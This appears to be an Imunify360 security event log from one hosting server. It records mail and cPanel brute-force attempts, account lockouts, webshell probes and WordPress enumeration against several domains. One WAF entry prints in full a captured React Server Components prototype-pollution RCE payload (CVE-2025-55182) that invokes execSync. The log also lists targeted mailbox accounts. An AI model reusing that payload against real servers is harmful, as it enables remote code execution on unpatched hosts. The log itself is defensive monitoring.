rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.5.34
country_id: 1814991
domain: oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 220.175.94.154
country_id: 1814991
domain: oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.164.165
country_id: 1814991
domain: oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 117.43.186.221
country_id: 1814991
domain: oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.63.159
country_id: 1814991
domain: oxbold.com
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:22:14 dovecot_login authenticator failed for H=(UOTBAv) [178.16.54.22]:60885: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:23:03 dovecot_login authenticator failed for H=(R0qDRsjEL) [178.16.54.22]:62014: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 30 21:23:25 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account alanlai has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 107.218.112.169
country_id: 6252001
description:
[2026-01-30 21:24:27 +0800] info [whostmgrd] 107.218.112.169 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.150.135.19
country_id: 690791
description:
2026-01-30 21:24:55 dovecot_login authenticator failed for H=(19.135.150.178.triolan.net) [178.150.135.19]:37282: 535 Incorrect authentication data (set_id=rajanazrul@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:24:15 dovecot_login authenticator failed for H=(tycMFUkTE) [178.16.54.22]:58246: 535 Incorrect authentication data (set_id=alanlai)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/plug/sms/img/img/product.php||SC:/home2/pspolycom/public_html/plug||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.250.44.123
country_id: 1643084
description:
[2026-01-30 21:24:03 +0800] info [cpaneld] 180.250.44.123 - adssadadsa "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user adssadadsa (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.193.70
country_id: 1814991
description:
2026-01-30 21:24:43 dovecot_login authenticator failed for H=([116.113.193.70]) [116.113.193.70]:17018: 535 Incorrect authentication data (set_id=rajanazrul@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.75.218.103
country_id: 1269750
description:
2026-01-30 21:24:47 dovecot_login authenticator failed for H=([103.55.89.5]) [116.75.218.103]:54310: 535 Incorrect authentication data (set_id=rajanazrul)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 107.207.146.34
country_id: 6252001
description:
[2026-01-30 21:24:57 +0800] info [whostmgrd] 107.207.146.34 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.194.142.167
country_id: 1814991
description:
2026-01-30 21:24:36 dovecot_login authenticator failed for H=([112.194.142.167]) [112.194.142.167]:53670: 535 Incorrect authentication data (set_id=rajanazrul@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 30 21:24:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account alanlai has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.204.150.91
country_id: 1814991
description:
2026-01-30 21:25:02 dovecot_login authenticator failed for H=([121.204.150.91]) [121.204.150.91]:57922: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.32.99.14
country_id: 290557
description:
2026-01-30 21:25:24 dovecot_login authenticator failed for H=([5.32.99.14]) [5.32.99.14]:58609: 535 Incorrect authentication data (set_id=rajanazrul@essemgroup.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/img/img/img/demos/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 30 21:25:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account alanlai has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:25:04 dovecot_login authenticator failed for H=(TdYBtkX8) [178.16.54.22]:53101: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.48.229.117
country_id: 3469034
description:
2026-01-30 21:25:52 dovecot_login authenticator failed for H=ip-179.48.229.117.fiberlinkpe.net.br (ip-179.48.229.118.fiberlinkpe.net.br) [179.48.229.117]:33658: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 30 21:26:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account alanlai has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:26:12 dovecot_login authenticator failed for H=(Q1UG3fD) [185.230.124.69]:53735: 535 Incorrect authentication data (set_id=marketing@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:26:18 dovecot_login authenticator failed for H=(1OLf6s) [178.16.54.22]:60120: 535 Incorrect authentication data (set_id=alanlai)


plugin: modsec
rule: 77093094
abuser: 85.11.167.4
country_id: 732800
domain: cofreth.com.my
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo VULN_1769779561_8373',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:27:06 dovecot_login authenticator failed for H=(iL1fsn5Z) [178.16.54.22]:52090: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.253.162.9
country_id: 146669
description:
2026-01-30 21:27:31 dovecot_login authenticator failed for H=(ADMIN) [185.253.162.9]:37679: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:27:06 dovecot_login authenticator failed for H=(yPp0d2) [185.230.124.69]:56090: 535 Incorrect authentication data (set_id=marketing@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.54.22.11
country_id: 1835841
description:
2026-01-30 21:27:44 dovecot_login authenticator failed for H=([14.54.22.11]) [14.54.22.11]:23045: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.123.202
country_id: 1269750
description:
2026-01-30 21:28:05 dovecot_login authenticator failed for H=(dsl-ncr-static-137.78.16.125.airtelbroadband.in) [182.95.123.202]:48730: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:28:07 dovecot_login authenticator failed for H=(v3ZfB5qj2) [185.230.124.69]:59533: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:28:21 dovecot_login authenticator failed for H=(sIBWXq) [178.16.54.22]:56136: 535 Incorrect authentication data (set_id=alanlai)


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 178.128.90.61
country_id: 1880251
domain: ds-staffing.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:7.71||T:APACHE||REQUEST_URI:/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.69.36.172
country_id: 1562822
description:
2026-01-30 21:28:57 dovecot_login authenticator failed for H=([118.69.36.172]) [118.69.36.172]:60768: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:29:12 dovecot_login authenticator failed for H=(DiEtRuburD) [178.16.54.22]:58381: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:29:14 dovecot_login authenticator failed for H=(WJdAnM1K) [185.230.124.69]:54677: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.174.16.55
country_id: 3469034
description:
2026-01-30 21:29:17 dovecot_login authenticator failed for H=(177-174-16-55.user.vivozap.com.br) [177.174.16.55]:38616: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:29:06 dovecot_login authenticator failed for H=(1UM5wvA) [185.230.124.69]:60437: 535 Incorrect authentication data (set_id=marketing@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.15.189.232
country_id: 2017370
description:
2026-01-30 21:29:06 dovecot_login authenticator failed for H=(host-232.185.15.189.0.0xffffff00.sterling.stercom.ru) [185.15.189.232]:51540: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:30:02 dovecot_login authenticator failed for H=(1BeONnk) [185.230.124.69]:64577: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 21:30:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing@col.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:30:01 dovecot_login authenticator failed for H=(AwelGqyD) [178.16.54.22]:49193: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:31:18 dovecot_login authenticator failed for H=(xdDDVNmy2J) [178.16.54.22]:65161: 535 Incorrect authentication data (set_id=alanlai)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.121.16.21
country_id: 1643084
domain: pftfood.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:82073.pftfood.com||ServerName:pftfood.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:239146263edd52dafe335adf1c3e550d20643ff7||Title:0x395250a6||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 21:31:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 30 21:31:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account alanlai has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:31:14 dovecot_login authenticator failed for H=(fwoQDcnHt) [185.230.124.69]:52478: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/druma_photos/article.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.124.60.46
country_id: 1168579
description:
2026-01-30 21:32:46 dovecot_login authenticator failed for H=([203.124.60.46]) [203.124.60.46]:46057: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 21:32:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing@col.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.178.120.157
country_id: 1831722
description:
[2026-01-30 21:32:18 +0800] info [cpaneld] 202.178.120.157 - KIk! "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.49.187
country_id: 1668284
description:
2026-01-30 21:32:25 dovecot_login authenticator failed for H=111-70-49-187.emome-ip.hinet.net [111.70.49.187]:58467: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:32:01 dovecot_login authenticator failed for H=(NufvMw0) [185.230.124.69]:49946: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 30 21:32:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account alanlai has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:32:16 dovecot_login authenticator failed for H=(MGw3QoaO) [178.16.54.22]:49595: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:32:07 dovecot_login authenticator failed for H=(O9ppWx0uf) [185.230.124.69]:56779: 535 Incorrect authentication data (set_id=marketing@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.227.63.227
country_id: 2921044
description:
2026-01-30 21:32:47 dovecot_plain authenticator failed for H=([212.227.63.227]) [212.227.63.227]:51894: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 30 21:33:37 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account alanlai has been locked for the attacker IP 178.16.54.22


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/images/private-residence.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 21:33:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:33:13 dovecot_login authenticator failed for H=(jMapSc) [185.230.124.69]:52235: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:33:15 dovecot_login authenticator failed for H=(cPAzMzrUQ) [178.16.54.22]:63377: 535 Incorrect authentication data (set_id=bentey)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.232.19.229
country_id: 1814991
description:
2026-01-30 21:34:30 dovecot_login authenticator failed for H=([116.232.19.229]) [116.232.19.229]:49144: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.98.104.138
country_id: 1562822
description:
2026-01-30 21:34:12 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [116.98.104.138]:58630: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 30 21:34:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account alanlai has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:34:20 dovecot_login authenticator failed for H=(ZHEnVd) [178.16.54.22]:62491: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 21:34:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:34:02 dovecot_login authenticator failed for H=(H1zWB4Hpy5) [185.230.124.69]:63240: 535 Incorrect authentication data (set_id=marketing@col.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.22.197.188
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=795780 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:34:48 dovecot_login authenticator failed for H=(VDC40xnX) [185.230.124.69]:54688: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:35:18 dovecot_login authenticator failed for H=(eL6uwW) [178.16.54.22]:58063: 535 Incorrect authentication data (set_id=bentey)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 21:35:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:35:12 dovecot_login authenticator failed for H=(bkp4YYQLC) [185.230.124.69]:53118: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 30 21:35:38 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account alanlai has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.131.243.102
country_id: 1814991
description:
2026-01-30 21:36:15 dovecot_login authenticator failed for H=([183.131.243.102]) [183.131.243.102]:54684: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.242.61.9
country_id: 1814991
description:
2026-01-30 21:36:05 dovecot_login authenticator failed for H=([114.242.61.9]) [114.242.61.9]:48324: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.254.26
country_id: 1814991
description:
2026-01-30 21:36:38 dovecot_login authenticator failed for H=([116.113.254.26]) [116.113.254.26]:54638: 535 Incorrect authentication data (set_id=chew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:36:01 dovecot_login authenticator failed for H=(jQ8UUf) [185.230.124.69]:55308: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:36:21 dovecot_login authenticator failed for H=(Od4OBGuCNE) [178.16.54.22]:51344: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-01-30 21:36:50 dovecot_login authenticator failed for H=([218.106.120.18]) [58.49.113.138]:12054: 535 Incorrect authentication data (set_id=chew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.185.37.239
country_id: 1269750
description:
2026-01-30 21:37:38 dovecot_login authenticator failed for H=(abts-tn-dynamic-239.37.185.136.airtelbroadband.in) [136.185.37.239]:54571: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.213.189.154
country_id: 3144096
description:
2026-01-30 21:37:18 dovecot_login authenticator failed for H=([84.213.189.154]) [84.213.189.154]:58760: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.41.84.98
country_id: 798544
description:
2026-01-30 21:37:21 dovecot_login authenticator failed for H=(98.84.41.31.ip4.feromedia.eu) [31.41.84.98]:45512: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-01-30 21:37:38 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:44910: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.146.248.7
country_id: 1861060
description:
2026-01-30 21:37:46 dovecot_login authenticator failed for H=7.248.146.34.bc.googleusercontent.com [34.146.248.7]:51410: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.169.1.172
country_id: 1562822
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/services.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:37:13 dovecot_login authenticator failed for H=(y195CHbSJC) [185.230.124.69]:58912: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:37:02 dovecot_login authenticator failed for H=(f2dEXSk) [178.16.54.22]:61219: 535 Incorrect authentication data (set_id=alanlai)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.242.9
country_id: 6252001
domain: www.task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/bin/psysh.bat||User:visoftcom||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:37:41 dovecot_login authenticator failed for H=(Fn3TVSU6C) [185.230.124.69]:52107: 535 Incorrect authentication data (set_id=marketing@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.102
country_id: 1269750
description:
2026-01-30 21:37:34 dovecot_login authenticator failed for H=(nsg-corporate-9.90.186.122.airtel.in) [182.95.228.102]:48592: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.172.79.51
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=192351 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:38:01 dovecot_login authenticator failed for H=(61IFTljgJi) [178.16.54.22]:53505: 535 Incorrect authentication data (set_id=bentey)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.35.80.233
country_id: 2635167
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/kitchen/8/708/890622 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.242.9
country_id: 6252001
domain: www.task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/bin/doctrine-dbal.bat||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:38:06 dovecot_login authenticator failed for H=(cVLHuN9y) [185.230.124.69]:49745: 535 Incorrect authentication data (set_id=marketing@col.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 21:38:52 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing@col.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:39:09 dovecot_login authenticator failed for H=(nj31U0CsF) [185.230.124.69]:60500: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 21:39:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing@col.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.194
country_id: 1269750
description:
2026-01-30 21:39:25 dovecot_login authenticator failed for H=(nsg-static-217.97.72.182.airtel.in) [182.95.228.194]:44438: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:39:04 dovecot_login authenticator failed for H=(etuDvDG) [178.16.54.22]:60196: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.251.170
country_id: 99237
description:
2026-01-30 21:39:08 dovecot_login authenticator failed for H=([65.20.251.170]) [65.20.251.170]:33884: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.51.179
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=159341 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.166
country_id: 2750405
description:
2026-01-30 21:40:04 1045805 [Warning] Aborted connection 1045805 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.166' (This connection closed normally without authentication)


plugin: ossec
rule: 6011
